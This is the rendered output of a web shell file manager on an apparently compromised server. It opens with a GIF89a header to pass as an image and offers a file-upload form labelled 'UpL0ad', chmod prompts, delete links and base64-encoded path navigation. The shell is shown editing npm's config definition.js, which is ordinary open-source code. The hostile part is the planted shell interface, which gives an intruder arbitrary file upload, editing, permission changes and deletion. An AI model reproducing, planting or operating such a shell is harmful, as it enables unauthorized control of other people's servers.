GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>definition.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc%3D&f=ZGVmaW5pdGlvbi5qcw%3D%3D"><input name="f" value="definition.js"><textarea name="t">// class that describes a config key we know about
// this keeps us from defining a config key and not
// providing a default, description, etc.
//
// TODO: some kind of categorization system, so we can
// say &quot;these are for registry access&quot;, &quot;these are for
// version resolution&quot; etc.

const required = ['type', 'description', 'default', 'key']

const allowed = [
  'default',
  'defaultDescription',
  'deprecated',
  'description',
  'flatten',
  'hint',
  'key',
  'short',
  'type',
  'typeDescription',
  'usage',
  'envExport',
]

const {
  typeDefs: {
    semver: { type: semver },
    Umask: { type: Umask },
    url: { type: url },
    path: { type: path },
  },
} = require('@npmcli/config')

class Definition {
  constructor (key, def) {
    this.key = key
    // if it's set falsey, don't export it, otherwise we do by default
    this.envExport = true
    Object.assign(this, def)
    this.validate()
    if (!this.defaultDescription) {
      this.defaultDescription = describeValue(this.default)
    }
    if (!this.typeDescription) {
      this.typeDescription = describeType(this.type)
    }
    // hint is only used for non-boolean values
    if (!this.hint) {
      if (this.type === Number) {
        this.hint = '&lt;number&gt;'
      } else {
        this.hint = `&lt;${this.key}&gt;`
      }
    }
    if (!this.usage) {
      this.usage = describeUsage(this)
    }
  }

  validate () {
    for (const req of required) {
      if (!Object.prototype.hasOwnProperty.call(this, req)) {
        throw new Error(`config lacks ${req}: ${this.key}`)
      }
    }
    if (!this.key) {
      throw new Error(`config lacks key: ${this.key}`)
    }
    for (const field of Object.keys(this)) {
      if (!allowed.includes(field)) {
        throw new Error(`config defines unknown field ${field}: ${this.key}`)
      }
    }
  }

  // a textual description of this config, suitable for help output
  describe () {
    const description = unindent(this.description)
    const noEnvExport = this.envExport
      ? ''
      : `
This value is not exported to the environment for child processes.
`
    const deprecated = !this.deprecated ? '' : `* DEPRECATED: ${unindent(this.deprecated)}\n`
    return wrapAll(`#### \`${this.key}\`

* Default: ${unindent(this.defaultDescription)}
* Type: ${unindent(this.typeDescription)}
${deprecated}
${description}
${noEnvExport}`)
  }
}

const describeUsage = def =&gt; {
  let key = ''

  // Single type
  if (!Array.isArray(def.type)) {
    if (def.short) {
      key = `-${def.short}|`
    }

    if (def.type === Boolean &amp;&amp; def.default !== false) {
      key = `${key}--no-${def.key}`
    } else {
      key = `${key}--${def.key}`
    }

    if (def.type !== Boolean) {
      key = `${key} ${def.hint}`
    }

    return key
  }

  key = `--${def.key}`
  if (def.short) {
    key = `-${def.short}|--${def.key}`
  }

  // Multiple types
  let types = def.type
  const multiple = types.includes(Array)
  const bool = types.includes(Boolean)

  // null type means optional and doesn't currently affect usage output since
  // all non-optional params have defaults so we render everything as optional
  types = types.filter(t =&gt; t !== null &amp;&amp; t !== Array &amp;&amp; t !== Boolean)

  if (!types.length) {
    return key
  }

  let description
  if (!types.some(t =&gt; typeof t !== 'string')) {
    // Specific values, use specifics given
    description = `&lt;${types.filter(d =&gt; d).join('|')}&gt;`
  } else {
    // Generic values, use hint
    description = def.hint
  }

  if (bool) {
    // Currently none of our multi-type configs with boolean values default to
    // false so all their hints should show `--no-`, if we ever add ones that
    // default to false we can branch the logic here
    key = `--no-${def.key}|${key}`
  }

  const usage = `${key} ${description}`
  if (multiple) {
    return `${usage} [${usage} ...]`
  } else {
    return usage
  }
}

const describeType = type =&gt; {
  if (Array.isArray(type)) {
    const descriptions = type.filter(t =&gt; t !== Array).map(t =&gt; describeType(t))

    // [a] =&gt; &quot;a&quot;
    // [a, b] =&gt; &quot;a or b&quot;
    // [a, b, c] =&gt; &quot;a, b, or c&quot;
    // [a, Array] =&gt; &quot;a (can be set multiple times)&quot;
    // [a, Array, b] =&gt; &quot;a or b (can be set multiple times)&quot;
    const last = descriptions.length &gt; 1 ? [descriptions.pop()] : []
    const oxford = descriptions.length &gt; 1 ? ', or ' : ' or '
    const words = [descriptions.join(', ')].concat(last).join(oxford)
    const multiple = type.includes(Array) ? ' (can be set multiple times)' : ''
    return `${words}${multiple}`
  }

  // Note: these are not quite the same as the description printed
  // when validation fails.  In that case, we want to give the user
  // a bit more information to help them figure out what's wrong.
  switch (type) {
    case String:
      return 'String'
    case Number:
      return 'Number'
    case Umask:
      return 'Octal numeric string in range 0000..0777 (0..511)'
    case Boolean:
      return 'Boolean'
    case Date:
      return 'Date'
    case path:
      return 'Path'
    case semver:
      return 'SemVer string'
    case url:
      return 'URL'
    default:
      return describeValue(type)
  }
}

// if it's a string, quote it.  otherwise, just cast to string.
const describeValue = val =&gt; (typeof val === 'string' ? JSON.stringify(val) : String(val))

const unindent = s =&gt; {
  // get the first \n followed by a bunch of spaces, and pluck off
  // that many spaces from the start of every line.
  const match = s.match(/\n +/)
  return !match ? s.trim() : s.split(match[0]).join('\n').trim()
}

const wrap = s =&gt; {
  const cols = Math.min(Math.max(20, process.stdout.columns) || 80, 80) - 5
  return unindent(s)
    .split(/[ \n]+/)
    .reduce((left, right) =&gt; {
      const last = left.split('\n').pop()
      const join = last.length &amp;&amp; last.length + right.length &gt; cols ? '\n' : ' '
      return left + join + right
    })
}

const wrapAll = s =&gt; {
  let inCodeBlock = false
  return s
    .split('\n\n')
    .map(block =&gt; {
      if (inCodeBlock || block.startsWith('```')) {
        inCodeBlock = !block.endsWith('```')
        return block
      }

      if (block.charAt(0) === '*') {
        return (
          '* ' +
          block
            .slice(1)
            .trim()
            .split('\n* ')
            .map(li =&gt; {
              return wrap(li).replace(/\n/g, '\n  ')
            })
            .join('\n* ')
        )
      } else {
        return wrap(block)
      }
    })
    .join('\n\n')
}

module.exports = Definition
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/npm/lib/utils/config<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc=&x=ZGVmaW5pdGlvbi5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc=&f=ZGVmaW5pdGlvbi5qcw=="/>definition.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc=&f=ZGVmaW5pdGlvbi5qcw==&c=`+btoa(c):0" value="0644"></td><td>6509</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc=&x=ZGVmaW5pdGlvbnMuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc=&f=ZGVmaW5pdGlvbnMuanM="/>definitions.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc=&f=ZGVmaW5pdGlvbnMuanM=&c=`+btoa(c):0" value="0644"></td><td>64222</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc=&x=aW5kZXguanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc=&f=aW5kZXguanM="/>index.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbnBtL2xpYi91dGlscy9jb25maWc=&f=aW5kZXguanM=&c=`+btoa(c):0" value="0644"></td><td>2493</td></tr></table>